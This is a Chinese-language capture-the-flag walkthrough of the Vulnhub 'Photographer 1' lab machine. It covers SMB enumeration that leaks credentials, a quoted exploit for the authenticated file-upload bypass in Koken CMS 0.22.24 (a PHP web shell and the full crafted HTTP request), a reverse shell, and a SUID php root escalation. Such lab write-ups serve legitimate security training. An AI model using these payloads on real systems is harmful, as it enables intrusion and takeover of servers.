Vulnhub: Photographer 1靶机

kali:192.168.111.111

靶机:192.168.111.132

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.132

目标8000端口为koken cms

使用enum4linux枚举目标samba服务,发现共享文件夹

enum4linux -a 192.168.111.132

连接目标共享文件夹,发现两个文件

smbclient -N \\\\192.168.111.132\\sambashare

mailsent.txt文件内容

使用daisa@photographer.com | babygirl,登录koken后台

同时该版本的koken cms存在文件上传漏洞

searchsploit koken

# Exploit Title: Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)
# Date: 2020-07-15
# Exploit Author: v1n1v131r4
# Vendor Homepage: http://koken.me/
# Software Link: https://www.softaculous.com/apps/cms/Koken
# Version: 0.22.24
# Tested on: Linux
# PoC: https://github.com/V1n1v131r4/Bypass-File-Upload-on-Koken-CMS/blob/master/README.md
 ​
The Koken CMS upload restrictions are based on a list of allowed file extensions (withelist), which facilitates bypass through the handling of the HTTP request via Burp.
 ​
Steps to exploit:
 ​
1. Create a malicious PHP file with this content:
 ​
    <?php system($_GET['cmd']);?>
 ​
2. Save as "image.php.jpg"
 ​
3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.
 ​
4. On Burp, rename your file to "image.php"
 ​
 ​
POST /koken/api.php?/content HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target.com/koken/admin/
x-koken-auth: cookie
Content-Type: multipart/form-data; boundary=---------------------------2391361183188899229525551
Content-Length: 1043
Connection: close
Cookie: PHPSESSID= [Cookie value here]
​
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="name"
​
image.php
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="chunk"
 ​
0
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="chunks"
 ​
1
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="upload_session_start"
 ​
1594831856
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="visibility"
 ​
public
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="license"
 ​
all
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="max_download"
 ​
none
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="file"; filename="image.php"
Content-Type: image/jpeg
 ​
<?php system($_GET['cmd']);?>
 ​
-----------------------------2391361183188899229525551--
 ​
 ​
 ​
5. On Koken CMS Library, select you file and put the mouse on "Download File" to see where your file is hosted on server.

漏洞利用

利用burp抓包,修改上传文件的后缀,jpg改为php即可上传

访问http://192.168.111.132:8000/storage/originals/cb/43/php-reverse-shell.php获得反弹shell

提权

查找suid权限的文件

find / -perm -u=s 2> /dev/null

提权方法:https://gtfobins.github.io/gtfobins/php/#suid

提升为root

php -r "pcntl_exec('/bin/sh', ['-p']);"

flag

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值